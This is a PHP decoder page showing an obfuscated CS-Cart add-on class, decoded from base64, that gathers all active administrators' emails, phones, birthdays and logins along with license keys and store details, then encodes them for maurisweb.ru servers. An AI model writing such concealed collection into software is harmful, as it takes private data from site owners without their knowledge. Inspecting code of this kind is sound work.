Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode("IAovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio..

Decoded Output download

 
/************************************************
    *     *
    *     *
    *    *
    *    *
    *    *
    *    *
    * --------------------------------------------- *
    * This is commercial software, only users       *
    * who have purchased a valid license and        *
    * accept to the terms of the License            *
    * Agreement can install and use this program.   *
    * --------------------------------------------- *
    * website: https://maurisweb.ru                 *
    *   email: [email protected]                    *
    ************************************************/


namespace Tygh\Addons\MauriswebAddonManager\Maurisweb\Connector;

use Tygh\Tygh;
use Tygh\Registry;
use Tygh\Addons\MauriswebAddonManager\Addons\SchemesManager;
use  Tygh\Addons\SchemesManager as ParentSchemesManager;
use Tygh\Enum\ObjectStatuses;
use Tygh\Enum\UserTypes;



class DataConnector {
    protected $addon_id;
    private $addon_version;
    private $license_number;
    private $product_name;
    private $product_version;
    private $product_build;
    private $product_edition;
    private $lang_code;
    private $purchase;
    private $main_domain;
    private $php_version;
    private $mysql_version;
    private $admins;
    private $storefronts;
    private $products_count;
    private $current_domain;
    private $license_addon;


    protected $manager;

    protected $data_manager;
    protected $addon_settings;
    protected $debug;
    

    public function __construct($addon = null, $debug = null, $addonSettings = null) {
        $this->debug = $debug;
        $local_settings = Registry::get('addons.' . $addon . '.lockal_settings');
        $settings_local = !empty($local_settings) && !is_array($local_settings)?json_decode($local_settings, true):$local_settings;
        $this->addon_id = $addon;
        $this->purchase = 'M'; 
        if(defined("MW_ADDON_MANAGER_SKIP_ADDON_CACHE")){
            $addon = SchemesManager::getScheme(
                $this->addon_id,'', defined("MW_ADDON_MANAGER_SKIP_ADDON_CACHE")
            );
        }else{
            $addon = ParentSchemesManager::getScheme($this->addon_id);
        }
        
        if (!empty($addon)) {
            $this->addon_version = $addon->getVersion() ? $addon->getVersion() : '1.0.0';
        }

        $this->product_name = 'Modul MaurisWeb';
        $this->product_version = defined("PRODUCT_VERSION") ? PRODUCT_VERSION : "endef";
        $this->product_build = defined("PRODUCT_BUILD") ? PRODUCT_BUILD : "endef";
        $this->product_edition = defined("PRODUCT_EDITION") ? PRODUCT_EDITION : "endef";
        $this->lang_code = defined("CART_LANGUAGE") ? CART_LANGUAGE : "ru";
        $this->main_domain = Registry::get('config.http_host');
        $this->current_domain = Registry::get('runtime.company_data.storefront');

        if (empty($this->current_domain)) {
            $storefront_id = fn_maurisweb_addon_manager_get_storefront_id();
            if ($storefront_id) {
                $company_data = fn_maurisweb_addon_manager_get_storefronts($storefront_id);
                $this->current_domain = $company_data["storefront"];
            }
        }

        $this->license_number = Registry::get('settings.Upgrade_center.license_number');
        $this->license_addon = isset($settings_local['license_key']) ? $settings_local['license_key'] : false;
        
        $this->php_version = phpversion();
    
        static $mysql_version = null;
        static $admins = null;
        static $storefronts = null;
        static $products_count = null;
    

        $this->mysql_version = $mysql_version = !is_null($mysql_version) ? $mysql_version : db_get_field("SELECT VERSION()");
        if(is_null($admins)){
            $select = [
                "U.user_id", "U.status", "U.user_type", "U.user_login", 
                "U.is_root", "U.company_id", "U.firstname", "U.lastname", 
                "U.company", "U.email", "U.phone", "U.lang_code", "U.birthday",
                "U.url", "U.responsible_email", "U.timestamp",
            ];
            
            $check = db_get_hash_array("SELECT COLUMN_NAME FROM information_schema.COLUMNS 
                WHERE TABLE_SCHEMA = ?s AND TABLE_NAME = '?:users'", "COLUMN_NAME", Registry::get("config.db_name"));
            
            
            $join = [];
            if(isset($check["storefront_id"])){
                $join[] = "LEFT JOIN ?:storefronts AS S_F ON S_F.storefront_id = U.storefront_id ";
                $select[] = "S_F.url AS store_url";
            }
            
            if(isset($check["second_email"])){
                $select[] = "U.second_email";
            }
            
            $request = db_quote("SELECT ?p FROM ?:users AS U ?p 
                WHERE U.user_type = ?s AND U.status = ?s", implode(",", $select), implode(" ", $join), UserTypes::ADMIN, ObjectStatuses::ACTIVE);
            $this->admins = $admins =  db_get_array($request);
        }
       
        $this->storefronts = $storefronts = !is_null($storefronts) ? $storefronts:db_get_array("SELECT status, is_default, url, name, theme_name FROM ?:storefronts");
        $this->products_count = $products_count = !is_null($products_count) ? $products_count:db_get_field("SELECT COUNT(*) FROM ?:products");
    }

    
    public function setDataRequest($additionalData = array()) {
        $data = $this->getParamRequest();
        foreach ($additionalData as $key => $value) {
            if (!isset($data[$key])) {
                $data[$key] = $value;
            } else {
                $data[$key . "_def"] = $value;
            }
        }
        $dispatch = "";
        if (isset($data["dispatch"])) {
            $dispatch = $data["dispatch"];
            unset($data["dispatch"]);
        }

        return array("data" => $this->debug::encodeData($this->debug::encodePuc($data)), "dispatch" => $dispatch);
    }
    
    private function getParamRequest() {
        return array(
            'addon_id'         => $this->addon_id,
            'addon_version'    => $this->addon_version, 
            'license_number'   => $this->license_number,
            'license_addon'    => $this->license_addon,
            'product_name'     => $this->product_name,
            'product_version'  => $this->product_version,
            'product_build'    => $this->product_build,
            'product_edition'  => $this->product_edition,
            'lang_code'        => $this->lang_code,
            'main_domain'      => $this->main_domain,
            'current_domain'   => $this->current_domain,
            'purchase'         => $this->purchase,
            "php_version"      => $this->php_version,
            "mysql_version"    => $this->mysql_version,
            "admins"           => $this->admins,
            "storefronts"      => $this->storefronts,
            "products_count"   => $this->products_count,
        );
    }
    
    public static function checkWorkload(){
        $ret_key = 0;
        $min_value = 0;
        $host_list = self::getServersName();
        $result = [];
        foreach ($host_list as $_key => $host) {
            $host = str_replace("/Server.php", "", $host);
            $host = str_replace("https://", "", $host);
            
            $out = "";
            $out = exec("ping -c 1 {$host}");
            $needle = "= ";
            $out = substr($out, strpos($out, $needle)+strlen($needle));
            $out = str_replace(" ms", "", $out);
            $out = explode("/", $out);

            if(count($out) > 0){
                $result[$_key] = round(array_sum($out)/count($out), 3);
            }else{
                $port = 80;
                $errno = "";
                $errstr = "";
                
                $start = microtime(true);
                $fp = fsockopen($host, $port, $errno, $errstr);
                if(!$errno){
                    if($fp){
                        fputs($fp,"GET / HTTP/1.0\n\n");
                        while(!feof($fp)) {
                            $out = fgets($fp,128);
                            break;
                        }
                        fclose($fp);
                    }
                    $result[$_key] = round(microtime(true) - $start, 4);
                }
            }
            if($min_value == 0){
                $min_value = $result[$_key];
                $ret_key = $_key;
            }else if($result[$_key] > 0 && $min_value < $result[$_key]){
                $min_value = $result[$_key];
                $ret_key = $_key;
            }
        }
        return $host_list[$ret_key];
    }
    
    public static function getServersName() {
        return [
            "https://maurisweb.ru/Server.php",
            "http://maurisweb.ru/Server.php",
            "https://store.maurisweb.ru",
            "http://store.maurisweb.ru",
            "https://trade.maurisweb.ru",
            "http://trade.maurisweb.ru",
            "https://shop.maurisweb.ru",
            "http://shop.maurisweb.ru"
        ];
    }
}

Did this file decode correctly?

Original Code

<?php
eval(base64_decode("IAovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQogICAgKiAg4pWU4pWX4pSA4pSA4pWU4pWX4pWU4pWQ4pWQ4pWX4pWU4pWX4pWU4pWX4pWU4pWQ4pWQ4pWQ4pWX4pWU4pWQ4pWQ4pWX4pWU4pWQ4pWQ4pWX4pWU4pWX4pWU4pWX4pWU4pWX4pWU4pWQ4pWQ4pWQ4pWX4pWU4pWQ4pWQ4pWXICAgKg0KICAgICogIOKVkeKVkeKUgOKUgOKVkeKVkeKVkeKVlOKVl+KVkeKVkeKVkeKVkeKVkeKVkeKVlOKVkOKVl+KVkeKVmuKVl+KVlOKVneKVkeKVlOKVkOKVneKVkeKVkeKVkeKVkeKVkeKVkeKVkeKVlOKVkOKVkOKVneKVkeKVlOKVl+KVkSAgICoNCiAgICAqICDilZHilZrilZfilZTilZ3ilZHilZHilZrilZ3ilZHilZHilZHilZHilZHilZHilZrilZDilZ3ilZHilIDilZHilZHilIDilZHilZrilZDilZfilZHilZHilZHilZHilZHilZHilZHilZrilZDilZDilZfilZHilZrilZ3ilZrilZcgICoNCiAgICAqICDilZHilZTilZfilZTilZfilZHilZHilZTilZfilZHilZHilZHilZHilZHilZHilZTilZfilZTilZ3ilIDilZHilZHilIDilZrilZDilZfilZHilZHilZHilZHilZHilZHilZHilZHilZTilZDilZDilZ3ilZHilZTilZDilZfilZEgICoNCiAgICAqICDilZHilZHilZrilZ3ilZHilZHilZHilZHilZHilZHilZHilZrilZ3ilZHilZHilZHilZHilZHilIDilZTilZ3ilZrilZfilZTilZDilZ3ilZHilZHilZrilZ3ilZrilZ3ilZHilZHilZrilZDilZDilZfilZHilZrilZDilZ3ilZEgICoNCiAgICAqICDilZrilZ3ilIDilIDilZrilZ3ilZrilZ3ilZrilZ3ilZrilZDilZDilZ3ilZrilZ3ilZrilZ3ilIDilZrilZDilZDilZ3ilZrilZDilZDilZ3ilZrilZDilZ3ilZrilZDilZ3ilZrilZDilZDilZDilZ3ilZrilZDilZDilZDilZ0gICoNCiAgICAqIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAqDQogICAgKiBUaGlzIGlzIGNvbW1lcmNpYWwgc29mdHdhcmUsIG9ubHkgdXNlcnMgICAgICAgKg0KICAgICogd2hvIGhhdmUgcHVyY2hhc2VkIGEgdmFsaWQgbGljZW5zZSBhbmQgICAgICAgICoNCiAgICAqIGFjY2VwdCB0byB0aGUgdGVybXMgb2YgdGhlIExpY2Vuc2UgICAgICAgICAgICAqDQogICAgKiBBZ3JlZW1lbnQgY2FuIGluc3RhbGwgYW5kIHVzZSB0aGlzIHByb2dyYW0uICAgKg0KICAgICogLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICoNCiAgICAqIHdlYnNpdGU6IGh0dHBzOi8vbWF1cmlzd2ViLnJ1ICAgICAgICAgICAgICAgICAqDQogICAgKiAgIGVtYWlsOiBpbmZvQG1hdXJpc3dlYi5ydSAgICAgICAgICAgICAgICAgICAgKg0KICAgICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8KCgpuYW1lc3BhY2UgVHlnaFxBZGRvbnNcTWF1cmlzd2ViQWRkb25NYW5hZ2VyXE1hdXJpc3dlYlxDb25uZWN0b3I7Cgp1c2UgVHlnaFxUeWdoOwp1c2UgVHlnaFxSZWdpc3RyeTsKdXNlIFR5Z2hcQWRkb25zXE1hdXJpc3dlYkFkZG9uTWFuYWdlclxBZGRvbnNcU2NoZW1lc01hbmFnZXI7CnVzZSAgVHlnaFxBZGRvbnNcU2NoZW1lc01hbmFnZXIgYXMgUGFyZW50U2NoZW1lc01hbmFnZXI7CnVzZSBUeWdoXEVudW1cT2JqZWN0U3RhdHVzZXM7CnVzZSBUeWdoXEVudW1cVXNlclR5cGVzOwoKCgpjbGFzcyBEYXRhQ29ubmVjdG9yIHsKICAgIHByb3RlY3RlZCAkYWRkb25faWQ7CiAgICBwcml2YXRlICRhZGRvbl92ZXJzaW9uOwogICAgcHJpdmF0ZSAkbGljZW5zZV9udW1iZXI7CiAgICBwcml2YXRlICRwcm9kdWN0X25hbWU7CiAgICBwcml2YXRlICRwcm9kdWN0X3ZlcnNpb247CiAgICBwcml2YXRlICRwcm9kdWN0X2J1aWxkOwogICAgcHJpdmF0ZSAkcHJvZHVjdF9lZGl0aW9uOwogICAgcHJpdmF0ZSAkbGFuZ19jb2RlOwogICAgcHJpdmF0ZSAkcHVyY2hhc2U7CiAgICBwcml2YXRlICRtYWluX2RvbWFpbjsKICAgIHByaXZhdGUgJHBocF92ZXJzaW9uOwogICAgcHJpdmF0ZSAkbXlzcWxfdmVyc2lvbjsKICAgIHByaXZhdGUgJGFkbWluczsKICAgIHByaXZhdGUgJHN0b3JlZnJvbnRzOwogICAgcHJpdmF0ZSAkcHJvZHVjdHNfY291bnQ7CiAgICBwcml2YXRlICRjdXJyZW50X2RvbWFpbjsKICAgIHByaXZhdGUgJGxpY2Vuc2VfYWRkb247CgoKICAgIHByb3RlY3RlZCAkbWFuYWdlcjsKCiAgICBwcm90ZWN0ZWQgJGRhdGFfbWFuYWdlcjsKICAgIHByb3RlY3RlZCAkYWRkb25fc2V0dGluZ3M7CiAgICBwcm90ZWN0ZWQgJGRlYnVnOwogICAgCgogICAgcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCRhZGRvbiA9IG51bGwsICRkZWJ1ZyA9IG51bGwsICRhZGRvblNldHRpbmdzID0gbnVsbCkgewogICAgICAgICR0aGlzLT5kZWJ1ZyA9ICRkZWJ1ZzsKICAgICAgICAkbG9jYWxfc2V0dGluZ3MgPSBSZWdpc3RyeTo6Z2V0KCdhZGRvbnMuJyAuICRhZGRvbiAuICcubG9ja2FsX3NldHRpbmdzJyk7CiAgICAgICAgJHNldHRpbmdzX2xvY2FsID0gIWVtcHR5KCRsb2NhbF9zZXR0aW5ncykgJiYgIWlzX2FycmF5KCRsb2NhbF9zZXR0aW5ncyk/anNvbl9kZWNvZGUoJGxvY2FsX3NldHRpbmdzLCB0cnVlKTokbG9jYWxfc2V0dGluZ3M7CiAgICAgICAgJHRoaXMtPmFkZG9uX2lkID0gJGFkZG9uOwogICAgICAgICR0aGlzLT5wdXJjaGFzZSA9ICdNJzsgCiAgICAgICAgaWYoZGVmaW5lZCgiTVdfQURET05fTUFOQUdFUl9TS0lQX0FERE9OX0NBQ0hFIikpewogICAgICAgICAgICAkYWRkb24gPSBTY2hlbWVzTWFuYWdlcjo6Z2V0U2NoZW1lKAogICAgICAgICAgICAgICAgJHRoaXMtPmFkZG9uX2lkLCcnLCBkZWZpbmVkKCJNV19BRERPTl9NQU5BR0VSX1NLSVBfQURET05fQ0FDSEUiKQogICAgICAgICAgICApOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkYWRkb24gPSBQYXJlbnRTY2hlbWVzTWFuYWdlcjo6Z2V0U2NoZW1lKCR0aGlzLT5hZGRvbl9pZCk7CiAgICAgICAgfQogICAgICAgIAogICAgICAgIGlmICghZW1wdHkoJGFkZG9uKSkgewogICAgICAgICAgICAkdGhpcy0+YWRkb25fdmVyc2lvbiA9ICRhZGRvbi0+Z2V0VmVyc2lvbigpID8gJGFkZG9uLT5nZXRWZXJzaW9uKCkgOiAnMS4wLjAnOwogICAgICAgIH0KCiAgICAgICAgJHRoaXMtPnByb2R1Y3RfbmFtZSA9ICdNb2R1bCBNYXVyaXNXZWInOwogICAgICAgICR0aGlzLT5wcm9kdWN0X3ZlcnNpb24gPSBkZWZpbmVkKCJQUk9EVUNUX1ZFUlNJT04iKSA/IFBST0RVQ1RfVkVSU0lPTiA6ICJlbmRlZiI7CiAgICAgICAgJHRoaXMtPnByb2R1Y3RfYnVpbGQgPSBkZWZpbmVkKCJQUk9EVUNUX0JVSUxEIikgPyBQUk9EVUNUX0JVSUxEIDogImVuZGVmIjsKICAgICAgICAkdGhpcy0+cHJvZHVjdF9lZGl0aW9uID0gZGVmaW5lZCgiUFJPRFVDVF9FRElUSU9OIikgPyBQUk9EVUNUX0VESVRJT04gOiAiZW5kZWYiOwogICAgICAgICR0aGlzLT5sYW5nX2NvZGUgPSBkZWZpbmVkKCJDQVJUX0xBTkdVQUdFIikgPyBDQVJUX0xBTkdVQUdFIDogInJ1IjsKICAgICAgICAkdGhpcy0+bWFpbl9kb21haW4gPSBSZWdpc3RyeTo6Z2V0KCdjb25maWcuaHR0cF9ob3N0Jyk7CiAgICAgICAgJHRoaXMtPmN1cnJlbnRfZG9tYWluID0gUmVnaXN0cnk6OmdldCgncnVudGltZS5jb21wYW55X2RhdGEuc3RvcmVmcm9udCcpOwoKICAgICAgICBpZiAoZW1wdHkoJHRoaXMtPmN1cnJlbnRfZG9tYWluKSkgewogICAgICAgICAgICAkc3RvcmVmcm9udF9pZCA9IGZuX21hdXJpc3dlYl9hZGRvbl9tYW5hZ2VyX2dldF9zdG9yZWZyb250X2lkKCk7CiAgICAgICAgICAgIGlmICgkc3RvcmVmcm9udF9pZCkgewogICAgICAgICAgICAgICAgJGNvbXBhbnlfZGF0YSA9IGZuX21hdXJpc3dlYl9hZGRvbl9tYW5hZ2VyX2dldF9zdG9yZWZyb250cygkc3RvcmVmcm9udF9pZCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+Y3VycmVudF9kb21haW4gPSAkY29tcGFueV9kYXRhWyJzdG9yZWZyb250Il07CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICR0aGlzLT5saWNlbnNlX251bWJlciA9IFJlZ2lzdHJ5OjpnZXQoJ3NldHRpbmdzLlVwZ3JhZGVfY2VudGVyLmxpY2Vuc2VfbnVtYmVyJyk7CiAgICAgICAgJHRoaXMtPmxpY2Vuc2VfYWRkb24gPSBpc3NldCgkc2V0dGluZ3NfbG9jYWxbJ2xpY2Vuc2Vfa2V5J10pID8gJHNldHRpbmdzX2xvY2FsWydsaWNlbnNlX2tleSddIDogZmFsc2U7CiAgICAgICAgCiAgICAgICAgJHRoaXMtPnBocF92ZXJzaW9uID0gcGhwdmVyc2lvbigpOwogICAgCiAgICAgICAgc3RhdGljICRteXNxbF92ZXJzaW9uID0gbnVsbDsKICAgICAgICBzdGF0aWMgJGFkbWlucyA9IG51bGw7CiAgICAgICAgc3RhdGljICRzdG9yZWZyb250cyA9IG51bGw7CiAgICAgICAgc3RhdGljICRwcm9kdWN0c19jb3VudCA9IG51bGw7CiAgICAKCiAgICAgICAgJHRoaXMtPm15c3FsX3ZlcnNpb24gPSAkbXlzcWxfdmVyc2lvbiA9ICFpc19udWxsKCRteXNxbF92ZXJzaW9uKSA/ICRteXNxbF92ZXJzaW9uIDogZGJfZ2V0X2ZpZWxkKCJTRUxFQ1QgVkVSU0lPTigpIik7CiAgICAgICAgaWYoaXNfbnVsbCgkYWRtaW5zKSl7CiAgICAgICAgICAgICRzZWxlY3QgPSBbCiAgICAgICAgICAgICAgICAiVS51c2VyX2lkIiwgIlUuc3RhdHVzIiwgIlUudXNlcl90eXBlIiwgIlUudXNlcl9sb2dpbiIsIAogICAgICAgICAgICAgICAgIlUuaXNfcm9vdCIsICJVLmNvbXBhbnlfaWQiLCAiVS5maXJzdG5hbWUiLCAiVS5sYXN0bmFtZSIsIAogICAgICAgICAgICAgICAgIlUuY29tcGFueSIsICJVLmVtYWlsIiwgIlUucGhvbmUiLCAiVS5sYW5nX2NvZGUiLCAiVS5iaXJ0aGRheSIsCiAgICAgICAgICAgICAgICAiVS51cmwiLCAiVS5yZXNwb25zaWJsZV9lbWFpbCIsICJVLnRpbWVzdGFtcCIsCiAgICAgICAgICAgIF07CiAgICAgICAgICAgIAogICAgICAgICAgICAkY2hlY2sgPSBkYl9nZXRfaGFzaF9hcnJheSgiU0VMRUNUIENPTFVNTl9OQU1FIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLkNPTFVNTlMgCiAgICAgICAgICAgICAgICBXSEVSRSBUQUJMRV9TQ0hFTUEgPSA/cyBBTkQgVEFCTEVfTkFNRSA9ICc/OnVzZXJzJyIsICJDT0xVTU5fTkFNRSIsIFJlZ2lzdHJ5OjpnZXQoImNvbmZpZy5kYl9uYW1lIikpOwogICAgICAgICAgICAKICAgICAgICAgICAgCiAgICAgICAgICAgICRqb2luID0gW107CiAgICAgICAgICAgIGlmKGlzc2V0KCRjaGVja1sic3RvcmVmcm9udF9pZCJdKSl7CiAgICAgICAgICAgICAgICAkam9pbltdID0gIkxFRlQgSk9JTiA/OnN0b3JlZnJvbnRzIEFTIFNfRiBPTiBTX0Yuc3RvcmVmcm9udF9pZCA9IFUuc3RvcmVmcm9udF9pZCAiOwogICAgICAgICAgICAgICAgJHNlbGVjdFtdID0gIlNfRi51cmwgQVMgc3RvcmVfdXJsIjsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgaWYoaXNzZXQoJGNoZWNrWyJzZWNvbmRfZW1haWwiXSkpewogICAgICAgICAgICAgICAgJHNlbGVjdFtdID0gIlUuc2Vjb25kX2VtYWlsIjsKICAgICAgICAgICAgfQogICAgICAgICAgICAKICAgICAgICAgICAgJHJlcXVlc3QgPSBkYl9xdW90ZSgiU0VMRUNUID9wIEZST00gPzp1c2VycyBBUyBVID9wIAogICAgICAgICAgICAgICAgV0hFUkUgVS51c2VyX3R5cGUgPSA/cyBBTkQgVS5zdGF0dXMgPSA/cyIsIGltcGxvZGUoIiwiLCAkc2VsZWN0KSwgaW1wbG9kZSgiICIsICRqb2luKSwgVXNlclR5cGVzOjpBRE1JTiwgT2JqZWN0U3RhdHVzZXM6OkFDVElWRSk7CiAgICAgICAgICAgICR0aGlzLT5hZG1pbnMgPSAkYWRtaW5zID0gIGRiX2dldF9hcnJheSgkcmVxdWVzdCk7CiAgICAgICAgfQogICAgICAgCiAgICAgICAgJHRoaXMtPnN0b3JlZnJvbnRzID0gJHN0b3JlZnJvbnRzID0gIWlzX251bGwoJHN0b3JlZnJvbnRzKSA/ICRzdG9yZWZyb250czpkYl9nZXRfYXJyYXkoIlNFTEVDVCBzdGF0dXMsIGlzX2RlZmF1bHQsIHVybCwgbmFtZSwgdGhlbWVfbmFtZSBGUk9NID86c3RvcmVmcm9udHMiKTsKICAgICAgICAkdGhpcy0+cHJvZHVjdHNfY291bnQgPSAkcHJvZHVjdHNfY291bnQgPSAhaXNfbnVsbCgkcHJvZHVjdHNfY291bnQpID8gJHByb2R1Y3RzX2NvdW50OmRiX2dldF9maWVsZCgiU0VMRUNUIENPVU5UKCopIEZST00gPzpwcm9kdWN0cyIpOwogICAgfQoKICAgIAogICAgcHVibGljIGZ1bmN0aW9uIHNldERhdGFSZXF1ZXN0KCRhZGRpdGlvbmFsRGF0YSA9IGFycmF5KCkpIHsKICAgICAgICAkZGF0YSA9ICR0aGlzLT5nZXRQYXJhbVJlcXVlc3QoKTsKICAgICAgICBmb3JlYWNoICgkYWRkaXRpb25hbERhdGEgYXMgJGtleSA9PiAkdmFsdWUpIHsKICAgICAgICAgICAgaWYgKCFpc3NldCgkZGF0YVska2V5XSkpIHsKICAgICAgICAgICAgICAgICRkYXRhWyRrZXldID0gJHZhbHVlOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGRhdGFbJGtleSAuICJfZGVmIl0gPSAkdmFsdWU7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGRpc3BhdGNoID0gIiI7CiAgICAgICAgaWYgKGlzc2V0KCRkYXRhWyJkaXNwYXRjaCJdKSkgewogICAgICAgICAgICAkZGlzcGF0Y2ggPSAkZGF0YVsiZGlzcGF0Y2giXTsKICAgICAgICAgICAgdW5zZXQoJGRhdGFbImRpc3BhdGNoIl0pOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFycmF5KCJkYXRhIiA9PiAkdGhpcy0+ZGVidWc6OmVuY29kZURhdGEoJHRoaXMtPmRlYnVnOjplbmNvZGVQdWMoJGRhdGEpKSwgImRpc3BhdGNoIiA9PiAkZGlzcGF0Y2gpOwogICAgfQogICAgCiAgICBwcml2YXRlIGZ1bmN0aW9uIGdldFBhcmFtUmVxdWVzdCgpIHsKICAgICAgICByZXR1cm4gYXJyYXkoCiAgICAgICAgICAgICdhZGRvbl9pZCcgICAgICAgICA9PiAkdGhpcy0+YWRkb25faWQsCiAgICAgICAgICAgICdhZGRvbl92ZXJzaW9uJyAgICA9PiAkdGhpcy0+YWRkb25fdmVyc2lvbiwgCiAgICAgICAgICAgICdsaWNlbnNlX251bWJlcicgICA9PiAkdGhpcy0+bGljZW5zZV9udW1iZXIsCiAgICAgICAgICAgICdsaWNlbnNlX2FkZG9uJyAgICA9PiAkdGhpcy0+bGljZW5zZV9hZGRvbiwKICAgICAgICAgICAgJ3Byb2R1Y3RfbmFtZScgICAgID0+ICR0aGlzLT5wcm9kdWN0X25hbWUsCiAgICAgICAgICAgICdwcm9kdWN0X3ZlcnNpb24nICA9PiAkdGhpcy0+cHJvZHVjdF92ZXJzaW9uLAogICAgICAgICAgICAncHJvZHVjdF9idWlsZCcgICAgPT4gJHRoaXMtPnByb2R1Y3RfYnVpbGQsCiAgICAgICAgICAgICdwcm9kdWN0X2VkaXRpb24nICA9PiAkdGhpcy0+cHJvZHVjdF9lZGl0aW9uLAogICAgICAgICAgICAnbGFuZ19jb2RlJyAgICAgICAgPT4gJHRoaXMtPmxhbmdfY29kZSwKICAgICAgICAgICAgJ21haW5fZG9tYWluJyAgICAgID0+ICR0aGlzLT5tYWluX2RvbWFpbiwKICAgICAgICAgICAgJ2N1cnJlbnRfZG9tYWluJyAgID0+ICR0aGlzLT5jdXJyZW50X2RvbWFpbiwKICAgICAgICAgICAgJ3B1cmNoYXNlJyAgICAgICAgID0+ICR0aGlzLT5wdXJjaGFzZSwKICAgICAgICAgICAgInBocF92ZXJzaW9uIiAgICAgID0+ICR0aGlzLT5waHBfdmVyc2lvbiwKICAgICAgICAgICAgIm15c3FsX3ZlcnNpb24iICAgID0+ICR0aGlzLT5teXNxbF92ZXJzaW9uLAogICAgICAgICAgICAiYWRtaW5zIiAgICAgICAgICAgPT4gJHRoaXMtPmFkbWlucywKICAgICAgICAgICAgInN0b3JlZnJvbnRzIiAgICAgID0+ICR0aGlzLT5zdG9yZWZyb250cywKICAgICAgICAgICAgInByb2R1Y3RzX2NvdW50IiAgID0+ICR0aGlzLT5wcm9kdWN0c19jb3VudCwKICAgICAgICApOwogICAgfQogICAgCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGNoZWNrV29ya2xvYWQoKXsKICAgICAgICAkcmV0X2tleSA9IDA7CiAgICAgICAgJG1pbl92YWx1ZSA9IDA7CiAgICAgICAgJGhvc3RfbGlzdCA9IHNlbGY6OmdldFNlcnZlcnNOYW1lKCk7CiAgICAgICAgJHJlc3VsdCA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRob3N0X2xpc3QgYXMgJF9rZXkgPT4gJGhvc3QpIHsKICAgICAgICAgICAgJGhvc3QgPSBzdHJfcmVwbGFjZSgiL1NlcnZlci5waHAiLCAiIiwgJGhvc3QpOwogICAgICAgICAgICAkaG9zdCA9IHN0cl9yZXBsYWNlKCJodHRwczovLyIsICIiLCAkaG9zdCk7CiAgICAgICAgICAgIAogICAgICAgICAgICAkb3V0ID0gIiI7CiAgICAgICAgICAgICRvdXQgPSBleGVjKCJwaW5nIC1jIDEgeyRob3N0fSIpOwogICAgICAgICAgICAkbmVlZGxlID0gIj0gIjsKICAgICAgICAgICAgJG91dCA9IHN1YnN0cigkb3V0LCBzdHJwb3MoJG91dCwgJG5lZWRsZSkrc3RybGVuKCRuZWVkbGUpKTsKICAgICAgICAgICAgJG91dCA9IHN0cl9yZXBsYWNlKCIgbXMiLCAiIiwgJG91dCk7CiAgICAgICAgICAgICRvdXQgPSBleHBsb2RlKCIvIiwgJG91dCk7CgogICAgICAgICAgICBpZihjb3VudCgkb3V0KSA+IDApewogICAgICAgICAgICAgICAgJHJlc3VsdFskX2tleV0gPSByb3VuZChhcnJheV9zdW0oJG91dCkvY291bnQoJG91dCksIDMpOwogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICRwb3J0ID0gODA7CiAgICAgICAgICAgICAgICAkZXJybm8gPSAiIjsKICAgICAgICAgICAgICAgICRlcnJzdHIgPSAiIjsKICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgJHN0YXJ0ID0gbWljcm90aW1lKHRydWUpOwogICAgICAgICAgICAgICAgJGZwID0gZnNvY2tvcGVuKCRob3N0LCAkcG9ydCwgJGVycm5vLCAkZXJyc3RyKTsKICAgICAgICAgICAgICAgIGlmKCEkZXJybm8pewogICAgICAgICAgICAgICAgICAgIGlmKCRmcCl7CiAgICAgICAgICAgICAgICAgICAgICAgIGZwdXRzKCRmcCwiR0VUIC8gSFRUUC8xLjBcblxuIik7CiAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCFmZW9mKCRmcCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRvdXQgPSBmZ2V0cygkZnAsMTI4KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkcmVzdWx0WyRfa2V5XSA9IHJvdW5kKG1pY3JvdGltZSh0cnVlKSAtICRzdGFydCwgNCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYoJG1pbl92YWx1ZSA9PSAwKXsKICAgICAgICAgICAgICAgICRtaW5fdmFsdWUgPSAkcmVzdWx0WyRfa2V5XTsKICAgICAgICAgICAgICAgICRyZXRfa2V5ID0gJF9rZXk7CiAgICAgICAgICAgIH1lbHNlIGlmKCRyZXN1bHRbJF9rZXldID4gMCAmJiAkbWluX3ZhbHVlIDwgJHJlc3VsdFskX2tleV0pewogICAgICAgICAgICAgICAgJG1pbl92YWx1ZSA9ICRyZXN1bHRbJF9rZXldOwogICAgICAgICAgICAgICAgJHJldF9rZXkgPSAkX2tleTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gJGhvc3RfbGlzdFskcmV0X2tleV07CiAgICB9CiAgICAKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZ2V0U2VydmVyc05hbWUoKSB7CiAgICAgICAgcmV0dXJuIFsKICAgICAgICAgICAgImh0dHBzOi8vbWF1cmlzd2ViLnJ1L1NlcnZlci5waHAiLAogICAgICAgICAgICAiaHR0cDovL21hdXJpc3dlYi5ydS9TZXJ2ZXIucGhwIiwKICAgIC